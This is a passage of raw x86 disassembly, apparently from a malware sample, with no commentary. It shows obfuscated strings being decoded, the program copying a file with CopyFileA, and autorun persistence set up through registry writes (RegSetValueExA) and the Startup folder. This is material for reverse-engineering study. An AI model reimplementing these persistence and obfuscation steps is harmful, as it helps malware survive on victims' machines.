lea ecx, [ebp - 0x414]
call fcn.00462300
mov esi, eax
test bl, bl
jne 0x4463f0
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.004027f0
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x30
call fcn.00402810
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x89]
mov dword [ebp - 0x89], 0xb1410
mov byte [ebp - 0x85], 1
call fcn.00462980
lea eax, [ebp - 0x89]
mov ecx, esi
push eax
call fcn.00469670
cmp byte [eax], bl
je 0x446373
lea ecx, [ebp - 0x8e]
mov dword [ebp - 0x8e], 0xb1410
mov byte [ebp - 0x8a], 1
call fcn.00462980
lea eax, [ebp - 0x8e]
mov ecx, esi
push eax
call fcn.00469670
push eax
lea ecx, [ebp - 0xa8]
call fcn.00470610
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.004655b0
sub esp, 0xc
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 1
mov ecx, esp
push eax
call fcn.004642f0
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x31
call fcn.00413e10
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x2f
mov eax, 1
lea ecx, [ebp - 0xa8]
cmovne ebx, eax
call fcn.00402660
lea ecx, [ebp - 0x414]
call fcn.004622b0
lea eax, [ebp - 0x4e8]
push eax
lea ecx, [ebp - 0x414]
call fcn.00466ae0
test al, al
je 0x4462d2
lea ecx, [ebp - 0x22c]
call fcn.00466a70
mov eax, dword [ebp - 0x22c]
cmp byte [eax + 0xd], 0
je 0x446270
and dword [ebp - 0x14], 0xfffdffff
lea ecx, [ebp - 0x330]
mov byte [ebp - 4], 0x2e
call fcn.0041be30
lea ecx, [ebp - 0x424]
call fcn.004622b0
lea eax, [ebp - 0x4d8]
push eax
lea ecx, [ebp - 0x424]
call fcn.00466ae0
test al, al
je 0x446210
lea ecx, [ebp - 0x230]
call fcn.00466a70
mov eax, dword [ebp - 0x230]
cmp byte [eax + 0xd], 0
je 0x4461a2
mov esi, dword [ebp - 0x14]
and esi, 0xffefffff
lea ecx, [ebp - 0x338]
mov dword [ebp - 0x14], esi
call fcn.0041be30
jmp 0x44647c
mov bl, 1
lea ecx, [ebp - 0x2b8]
call fcn.00402660
lea ecx, [ebp - 0x2d0]
call fcn.004677b0
lea ecx, [ebp - 0x248]
call fcn.00402660
mov edi, dword [ebp - 0x24]
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0x13
call fcn.00463050
mov esi, dword [ebp - 0x2fc]
inc edi
mov dword [ebp - 0x24], edi
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x2f8]
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x24], eax
jb 0x4453d0
sub edi, esi
mov eax, 0x2aaaaaab
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4464fa
test bl, bl
je 0x4479c6
lea ecx, [ebp - 0x6b]
mov dword [ebp - 0x6b], 0xd1f034b
mov word [ebp - 0x67], 0x100
call fcn.00462730
push dword [ebp - 0x58]
lea ecx, [ebp - 0x270]
call fcn.004027f0
lea ecx, [ebp - 0x6b]
mov byte [ebp - 4], 0x33
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446527
sub ecx, edx
lea eax, [ebp - 0x6b]
push ecx
push eax
lea ecx, [ebp - 0x270]
call fcn.00402810
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x4f]
mov word [ebp - 0x4f], 0x4b
mov byte [ebp - 0x4d], 1
call fcn.004628e0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x254], esi
mov ecx, esi
push dword [ebp - 0x254]
call fcn.004027f0
lea ecx, [ebp - 0x4f]
mov byte [ebp - 4], 0x35
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446580
sub ecx, edx
lea eax, [ebp - 0x4f]
push ecx
push eax
mov ecx, esi
call fcn.00402810
sub esp, 0x18
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x568]
mov ecx, esp
push eax
call fcn.004655b0
lea ecx, [ebp - 0x36c]
mov byte [ebp - 4], 0x34
call fcn.0040bf50
add esp, 0x30
mov byte [ebp - 4], 0x37
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x368]
sub ecx, dword [ebp - 0x36c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x446ade
lea ecx, [ebp - 0x36c]
call fcn.004641f0
dec eax
lea ecx, [ebp - 0x36c]
push eax
call fcn.004641d0
push eax
lea ecx, [ebp - 0x270]
call fcn.00465400
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], 0x21e00
mov byte [ebp - 0x110], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x3bc]
call fcn.00402700
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x270]
mov ebx, dword [ebp - 0x14]
mov edx, eax
or ebx, 1
mov dword [ebp - 0x14], ebx
call fcn.00469e60
test al, al
je 0x446984
lea ecx, [ebp - 0x119]
mov dword [ebp - 0x119], 0xe1508
mov byte [ebp - 0x115], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x3d4]
call fcn.00402700
mov dword [ebp - 4], 0x39
lea ecx, [ebp - 0x270]
or ebx, 2
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.00469e60
test al, al
je 0x446984
lea ecx, [ebp - 0x10f]
mov dword [ebp - 0x10f], 0x150516
mov byte [ebp - 0x10b], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x608]
call fcn.00402700
mov dword [ebp - 4], 0x3a
lea ecx, [ebp - 0x270]
or ebx, 4
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.00469e60
test al, al
je 0x446984
lea ecx, [ebp - 0x11e]
mov dword [ebp - 0x11e], CloseHandle
mov byte [ebp - 0x11a], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x5f0]
call fcn.00402700
mov dword [ebp - 4], 0x3b
lea ecx, [ebp - 0x270]
or ebx, 8
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.00469e60
test al, al
je 0x446984
lea ecx, [ebp - 0x123]
mov dword [ebp - 0x123], 0x40901
mov byte [ebp - 0x11f], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x5d8]
call fcn.00402700
mov dword [ebp - 4], 0x3c
lea ecx, [ebp - 0x270]
or ebx, 0x10
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.00469e60
test al, al
je 0x446984
lea ecx, [ebp - 0x145]
mov dword [ebp - 0x145], 0x10040901
mov word [ebp - 0x141], 0x100
call fcn.0040b3a0
push eax
lea ecx, [ebp - 0x40]
call fcn.00402700
mov dword [ebp - 4], 0x3d
lea ecx, [ebp - 0x270]
or ebx, 0x20
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.00469e60
test al, al
je 0x446984
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x128], 0x815
mov byte [ebp - 0x124], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402700
mov dword [ebp - 4], 0x3e
lea ecx, [ebp - 0x270]
or ebx, 0x40
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.00469e60
test al, al
je 0x446984
lea ecx, [ebp - 0x12d]
mov dword [ebp - 0x12d], 0x160f
mov byte [ebp - 0x129], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x454]
call fcn.00402700
mov dword [ebp - 4], 0x3f
lea ecx, [ebp - 0x270]
or ebx, 0x80
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.00469e60
test al, al
je 0x446984
lea ecx, [ebp - 0x14b]
mov dword [ebp - 0x14b], 0xf02160f
mov word [ebp - 0x147], 0x100
call fcn.0040b3a0
push eax
lea ecx, [ebp - 0xa8]
call fcn.00402700
mov dword [ebp - 4], 0x40
lea ecx, [ebp - 0x270]
or ebx, 0x100
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.00469e60
test al, al
je 0x446984
lea ecx, [ebp - 0xf1]
mov dword [ebp - 0xf1], 0x170b07
mov byte [ebp - 0xed], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x248]
call fcn.00402700
mov dword [ebp - 4], 0x41
lea ecx, [ebp - 0x270]
or ebx, 0x200
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.00469e60
test al, al
je 0x446984
lea ecx, [ebp - 0xf6]
mov dword [ebp - 0xf6], 0x130707
mov byte [ebp - 0xf2], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x2b8]
call fcn.00402700
mov dword [ebp - 4], 0x42
lea ecx, [ebp - 0x270]
or ebx, 0x400
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.00469e60
test al, al
je 0x446984
lea ecx, [ebp - 0xfb]
mov dword [ebp - 0xfb], 0x140413
mov byte [ebp - 0xf7], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x46c]
call fcn.00402700
or ebx, 0x800
lea ecx, [ebp - 0x270]
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.00469e60
mov byte [ebp - 0xd], 1
test al, al
jne 0x446988
mov byte [ebp - 0xd], 0
test ebx, 0x800
je 0x4469a4
and ebx, 0xfffff7ff
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test ebx, 0x400
je 0x4469c0
and ebx, 0xfffffbff
lea ecx, [ebp - 0x2b8]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test ebx, 0x200
je 0x4469dc
and ebx, 0xfffffdff
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test ebx, 0x100
je 0x4469f8
and ebx, 0xfffffeff
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, bl
jns 0x446a10
and ebx, 0xffffff7f
lea ecx, [ebp - 0x454]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 0x40
je 0x446a26
and ebx, 0xffffffbf
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 0x20
je 0x446a39
and ebx, 0xffffffdf
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 0x10
je 0x446a4f
and ebx, 0xffffffef
lea ecx, [ebp - 0x5d8]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 8
je 0x446a65
and ebx, 0xfffffff7
lea ecx, [ebp - 0x5f0]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 4
je 0x446a7b
and ebx, 0xfffffffb
lea ecx, [ebp - 0x608]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 2
je 0x446a91
and ebx, 0xfffffffd
lea ecx, [ebp - 0x3d4]
mov dword [ebp - 0x14], ebx
call fcn.00402660
mov dword [ebp - 4], 0x37
test bl, 1
je 0x446aae
and ebx, 0xfffffffe
lea ecx, [ebp - 0x3bc]
mov dword [ebp - 0x14], ebx
call fcn.00402660
cmp byte [ebp - 0xd], 0
je 0x446ae1
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x100], 0x21e00
mov byte [ebp - 0xfc], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x270]
call fcn.004653d0
jmp 0x446ae1
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x52]
mov word [ebp - 0x52], 0x4b
mov byte [ebp - 0x50], 1
call fcn.004628e0
mov edx, 0x14
lea ecx, [ebp - 0x3d4]
call fcn.0040c2b0
mov esi, eax
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x65]
mov word [ebp - 0x65], 0x39
mov byte [ebp - 0x63], 1
call fcn.004628e0
lea eax, [ebp - 0x65]
push eax
lea edx, [ebp + 0x80]
lea ecx, [ebp - 0x3bc]
call fcn.00469300
add esp, 4
push esi
push eax
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x20c]
push dword [ebp - 0x254]
call fcn.0046cd80
mov esi, dword [ebp - 0x28]
or esi, 8
lea ecx, [ebp - 0x52]
mov byte [ebp - 4], 0x45
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446b60
sub ecx, edx
lea eax, [ebp - 0x52]
push ecx
push eax
lea ecx, [ebp - 0x20c]
call fcn.00467ee0
push eax
lea ecx, [ebp - 0x248]
call fcn.004026b0
or esi, 0x10
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x70], esi
lea eax, [ebp - 0x270]
mov byte [ebp - 4], 0x46
push eax
lea edx, [ebp - 0x248]
lea ecx, [ebp - 0x4c4]
call fcn.00469520
add esp, 4
lea ecx, [ebp - 0x248]
call fcn.00402660
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x3bc]
call fcn.00402660
lea ecx, [ebp - 0x3d4]
mov byte [ebp - 4], 0x4b
call fcn.00402660
lea ecx, [ebp - 0x10a]
mov dword [ebp - 0x10a], 0x1813120d
mov dword [ebp - 0x106], 0x4344501a
mov word [ebp - 0x102], 0x100
call fcn.00462640
lea ecx, [ebp - 0x568]
call fcn.004027a0
lea ecx, [ebp - 0x10a]
push ecx
push eax
call fcn.004ddd40
add esp, 8
lea ecx, [ebp - 0x4c4]
test eax, eax
setne byte [ebp - 0xdc]
call fcn.004027a0
lea ecx, [ebp - 0x568]
mov esi, eax
call fcn.004027a0
push 0x7530
push 0
push dword [ebp - 0xdc]
mov edx, esi
mov ecx, eax
call fcn.004800e0
add esp, 0xc
test al, al
je 0x4479a5
push 0x533b34
lea ecx, [ebp - 0x1f4]
mov dword [ebp - 0x1f4], 0xa080224
mov dword [ebp - 0x1f0], 0x81b3f0c
mov dword [ebp - 0x1ec], 0x20a1a0c
mov word [ebp - 0x1e8], 0x27
mov byte [ebp - 0x1e6], 1
call fcn.0040a230
mov edx, eax
lea ecx, [ebp - 0x2b8]
call fcn.004693c0
add esp, 4
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x183]
push 0x533b34
mov dword [ebp - 0x183], 0xd000220
mov dword [ebp - 0x17f], 0x1003924
call fcn.00410070
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.004693c0
add esp, 4
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x1d7]
push 0x533b34
mov dword [ebp - 0x1d7], 0x3d2e3528
mov dword [ebp - 0x1d3], 0x180a0e19
mov dword [ebp - 0x1cf], 0x391c08
mov byte [ebp - 0x1cb], 1
call fcn.0040d520
mov edx, eax
lea ecx, [ebp - 0x454]
call fcn.004693c0
add esp, 4
cmp byte [ebp - 0x44], 0
mov byte [ebp - 4], 0x4e
je 0x446f95
lea ecx, [ebp - 0x1e5]
mov dword [ebp - 0x1e5], 0x29242929
mov dword [ebp - 0x1e1], 0x3c3b2b25
mov dword [ebp - 0x1dd], 0x313b2f29
mov word [ebp - 0x1d9], 0x100
call fcn.0040e9f0
push eax
call fcn.004eb101
add esp, 4
test eax, eax
je 0x446f95
push eax
lea ecx, [ebp - 0x40]
call fcn.00402700
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xc6]
mov word [ebp - 0xc6], 0x39
mov byte [ebp - 0xc4], 1
call fcn.00409f20
push eax
lea ecx, [ebp - 0x40]
call fcn.004653b0
lea eax, [ebp - 0x2b8]
push eax
lea ecx, [ebp - 0x40]
call fcn.004653c0
lea ecx, [ebp - 0x40]
call fcn.004027a0
mov ecx, eax
call fcn.0040bab0
test al, al
jne 0x446de5
lea ecx, [ebp - 0x40]
call fcn.00415c80
test al, al
je 0x446f89
lea ecx, [ebp - 0x151]
mov dword [ebp - 0x151], 0xd1f034b
mov word [ebp - 0x14d], 0x100
call fcn.0040b3a0
lea ecx, [ebp - 0xc0]
mov word [ebp - 0xc0], 0x39
mov esi, eax
mov byte [ebp - 0xbe], 1
call fcn.00409f20
push eax
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x3d4]
call fcn.00469300
add esp, 4
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 0x50
push ecx
mov edx, eax
lea ecx, [ebp - 0x3bc]
call fcn.00469520
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x20c]
call fcn.00469360
add esp, 4
lea ecx, [ebp - 0x3bc]
call fcn.00402660
lea ecx, [ebp - 0x3d4]
mov byte [ebp - 4], 0x54
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x20c]
mov ecx, esp
push eax
call fcn.004655b0
call fcn.0040ba20
add esp, 0x18
test al, al
jne 0x446f7e
lea ecx, [ebp - 0x20c]
call fcn.004027a0
lea ecx, [ebp - 0x4c4]
mov esi, eax
call fcn.004027a0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x446f7e
movaps xmm0, xmmword [0x525950]
lea eax, [ebp - 0x250]
push eax
movups xmmword [ebp - 0x29f], xmm0
lea ecx, [ebp - 0x29f]
mov dword [ebp - 0x27f], 0xedd1f2eb
movaps xmm0, xmmword [0x5263d0]
push 0x20006
push 0
movups xmmword [ebp - 0x28f], xmm0
mov dword [ebp - 0x27b], 0xe3e2f9fb
mov dword [ebp - 0x277], 0xe5ddd2e3
mov word [ebp - 0x273], 0xff
mov byte [ebp - 0x271], 1
call fcn.00417d60
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x446f7e
lea ecx, [ebp - 0x20c]
call fcn.00402650
lea ecx, [ebp - 0x20c]
mov edi, eax
call fcn.004027a0
lea ecx, [ebp - 0x2b8]
mov esi, eax
call fcn.004027a0
push edi
push esi
push 1
push 0
push eax
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x4e
call fcn.00402660
cmp byte [ebp - 0x46], 0
je 0x447570
movaps xmm0, xmmword [str._:_9___68_6]
lea ecx, [ebp - 0x39]
movups xmmword [ebp - 0x39], xmm0
mov byte [ebp - 0x29], 1
call fcn.0040e960
push eax
call fcn.004eb101
add esp, 4
test eax, eax
je 0x447570
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402700
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0xbd]
mov word [ebp - 0xbd], 0x39
mov byte [ebp - 0xbb], 1
call fcn.00409f20
push eax
lea ecx, [ebp - 0x20c]
call fcn.004653b0
lea eax, [ebp - 0x454]
push eax
lea ecx, [ebp - 0x20c]
call fcn.004653c0
lea ecx, [ebp - 0x20c]
call fcn.004027a0
mov ecx, eax
call fcn.0040bab0
test al, al
jne 0x44705d
lea ecx, [ebp - 0x20c]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x248]
call fcn.00402700
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x248]
or ebx, 0x1000
mov dword [ebp - 0x14], ebx
call fcn.00415c80
mov byte [ebp - 0xd], 0
test al, al
je 0x447061
mov byte [ebp - 0xd], 1
mov dword [ebp - 4], 0x55
test ebx, 0x1000
je 0x447084
and ebx, 0xffffefff
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x14], ebx
call fcn.00402660
cmp byte [ebp - 0xd], 0
je 0x447561
lea ecx, [ebp - 0x157]
mov dword [ebp - 0x157], 0xd1f034b
mov word [ebp - 0x153], 0x100
call fcn.0040b3a0
lea ecx, [ebp - 0xb1]
mov word [ebp - 0xb1], 0x39
mov esi, eax
mov byte [ebp - 0xaf], 1
call fcn.00409f20
push eax
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x3d4]
call fcn.00469300
add esp, 4
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x57
push ecx
mov edx, eax
lea ecx, [ebp - 0x3bc]
call fcn.00469520
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x40]
call fcn.00469360
add esp, 4
lea ecx, [ebp - 0x3bc]
call fcn.00402660
lea ecx, [ebp - 0x3d4]
mov byte [ebp - 4], 0x5b
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
push eax
call fcn.004655b0
call fcn.0040ba20
add esp, 0x18
test al, al
jne 0x447559
lea ecx, [ebp - 0x40]
call fcn.004027a0
lea ecx, [ebp - 0x4c4]
mov esi, eax
call fcn.004027a0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x447559
push 0x104
lea eax, [ebp - 0x7a0]
mov dword [ebp - 0x18], 0x104
push 0
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x7a0]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x525ea0]
lea ecx, [ebp - 0x2ed]
movups xmmword [ebp - 0x2ed], xmm0
mov dword [ebp - 0x2dd], 0x581b045a
mov dword [ebp - 0x2d9], 0x343c3331
mov dword [ebp - 0x2d5], 0x2b2d38
mov byte [ebp - 0x2d1], 1
call fcn.0040ea80
lea ecx, [ebp - 0x1ae]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1ae], 0x1c484647
mov dword [ebp - 0x1aa], 0x494a07
mov byte [ebp - 0x1a6], 1
call fcn.0040b3d0
lea ecx, [ebp - 0x1b7]
mov dword [ebp - 0x1b7], 0x1c484647
mov ebx, eax
mov dword [ebp - 0x1b3], 0x494a1b
mov byte [ebp - 0x1af], 1
call fcn.0040b3d0
mov edi, eax
lea ecx, [ebp - 0x668]
lea eax, [ebp - 0x7a0]
push eax
call fcn.00402700
mov esi, eax
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x3a2]
movaps xmm0, xmmword [0x525390]
movups xmmword [ebp - 0x3a2], xmm0
mov dword [ebp - 0x392], 0x58115955
mov dword [ebp - 0x38e], 0x5c2e2856
mov word [ebp - 0x38a], 0x5f
mov byte [ebp - 0x388], 1
call fcn.00415c10
push esi
mov edx, eax
lea ecx, [ebp - 0x650]
call fcn.00469420
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x638]
call fcn.00469360
add esp, 4
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x5e
push ecx
mov edx, eax
lea ecx, [ebp - 0x5d8]
call fcn.00469520
add esp, 4
push ebx
mov edx, eax
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x5f0]
call fcn.00469360
add esp, 4
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x60
push ecx
mov edx, eax
lea ecx, [ebp - 0x608]
call fcn.00469520
add esp, 4
push dword [ebp - 0x24]
mov edx, eax
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x46c]
call fcn.00469360
add esp, 4
lea ecx, [ebp - 0x608]
call fcn.00402660
lea ecx, [ebp - 0x5f0]
call fcn.00402660
lea ecx, [ebp - 0x5d8]
call fcn.00402660
lea ecx, [ebp - 0x638]
call fcn.00402660
lea ecx, [ebp - 0x650]
call fcn.00402660
lea ecx, [ebp - 0x668]
mov byte [ebp - 4], 0x68
call fcn.00402660
sub esp, 0x18
lea ecx, [ebp - 0x46c]
mov esi, esp
call fcn.004027a0
push eax
mov ecx, esi
call fcn.00402700
xor cl, cl
call fcn.00415e10
movaps xmm0, xmmword [0x525e20]
lea ecx, [ebp - 0x28e]
add esp, 0x18
mov dword [ebp - 0x27e], 0x14055955
movups xmmword [ebp - 0x28e], xmm0
mov dword [ebp - 0x27a], 0x3b323259
mov dword [ebp - 0x276], 0xd42c3b35
mov word [ebp - 0x272], 0x100
call fcn.00413b80
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c0], 0x1c484647
mov dword [ebp - 0x1bc], 0x494a07
mov byte [ebp - 0x1b8], 1
call fcn.0040b3d0
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], 0x1c484647
mov ebx, eax
mov dword [ebp - 0x198], 0x494a1b
mov byte [ebp - 0x194], 1
call fcn.0040b3d0
mov edi, eax
lea ecx, [ebp - 0x548]
lea eax, [ebp - 0x7a0]
push eax
call fcn.00402700
mov esi, eax
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x387]
movaps xmm0, xmmword [0x525390]
movups xmmword [ebp - 0x387], xmm0
mov dword [ebp - 0x377], 0x58115955
mov dword [ebp - 0x373], 0x5c2e2856
mov word [ebp - 0x36f], 0x5f
mov byte [ebp - 0x36d], 1
call fcn.00415c10
push esi
mov edx, eax
lea ecx, [ebp - 0x530]
call fcn.00469420
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x698]
call fcn.00469360
add esp, 4
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x6b
push ecx
mov edx, eax
lea ecx, [ebp - 0x680]
call fcn.00469520
add esp, 4
push ebx
mov edx, eax
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x3d4]
call fcn.00469360
add esp, 4
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x6d
push ecx
mov edx, eax
lea ecx, [ebp - 0x3bc]
call fcn.00469520
add esp, 4
push dword [ebp - 0x24]
mov edx, eax
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x248]
call fcn.00469360
add esp, 4
lea ecx, [ebp - 0x3bc]
call fcn.00402660
lea ecx, [ebp - 0x3d4]
call fcn.00402660
lea ecx, [ebp - 0x680]
call fcn.00402660
lea ecx, [ebp - 0x698]
call fcn.00402660
lea ecx, [ebp - 0x530]
call fcn.00402660
lea ecx, [ebp - 0x548]
mov byte [ebp - 4], 0x75
call fcn.00402660
sub esp, 0x18
lea ecx, [ebp - 0x248]
mov esi, esp
call fcn.004027a0
push eax
mov ecx, esi
call fcn.00402700
xor cl, cl
call fcn.00415e10
add esp, 0x18
lea ecx, [ebp - 0x248]
call fcn.00402660
lea ecx, [ebp - 0x46c]
call fcn.00402660
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x40]
call fcn.00402660
lea ecx, [ebp - 0x20c]
mov byte [ebp - 4], 0x4e
call fcn.00402660
cmp byte [ebp - 0x45], 0
je 0x447930
lea ecx, [ebp - 0x15d]
mov dword [ebp - 0x15d], 0x382a2331
mov word [ebp - 0x159], 0x100
call fcn.0040b3a0
push eax
call fcn.004eb101
add esp, 4
test eax, eax
je 0x447930
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402700
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0xb4]
mov word [ebp - 0xb4], 0x39
mov byte [ebp - 0xb2], 1
call fcn.00409f20
push eax
lea ecx, [ebp - 0x20c]
call fcn.004653b0
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x20c]
call fcn.004653c0
lea ecx, [ebp - 0x20c]
call fcn.004027a0
mov ecx, eax
call fcn.0040bab0
test al, al
jne 0x44763f
lea ecx, [ebp - 0x20c]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x46c]
call fcn.00402700
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x46c]
or ebx, 0x2000
mov dword [ebp - 0x14], ebx
call fcn.00415c80
mov byte [ebp - 0xd], 0
test al, al
je 0x447643
mov byte [ebp - 0xd], 1
mov dword [ebp - 4], 0x76
test ebx, 0x2000
je 0x447666
and ebx, 0xffffdfff
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x14], ebx
call fcn.00402660
cmp byte [ebp - 0xd], 0
je 0x447921
lea ecx, [ebp - 0x139]
mov dword [ebp - 0x139], 0xd1f034b
mov word [ebp - 0x135], 0x100
call fcn.0040b3a0
lea ecx, [ebp - 0xb7]
mov word [ebp - 0xb7], 0x39
mov esi, eax
mov byte [ebp - 0xb5], 1
call fcn.00409f20
push eax
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x530]
call fcn.00469300
add esp, 4
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x78
push ecx
mov edx, eax
lea ecx, [ebp - 0x548]
call fcn.00469520
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x248]
call fcn.00469360
add esp, 4
lea ecx, [ebp - 0x548]
call fcn.00402660
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0x7c
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x248]
mov ecx, esp
push eax
call fcn.004655b0
call fcn.0040ba20
add esp, 0x18
test al, al
jne 0x447751
lea ecx, [ebp - 0x248]
call fcn.004027a0
lea ecx, [ebp - 0x4c4]
mov esi, eax
call fcn.004027a0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x447916
lea eax, [ebp - 0x7a0]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x447916
lea eax, [ebp - 0x7a0]
push eax
lea ecx, [ebp - 0x40]
call fcn.00402700
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0x13f]
mov dword [ebp - 0x13f], 0x3090a4b
mov word [ebp - 0x13b], 0x100
call fcn.0040b3a0
mov esi, eax
mov word [ebp - 0xba], 0x39
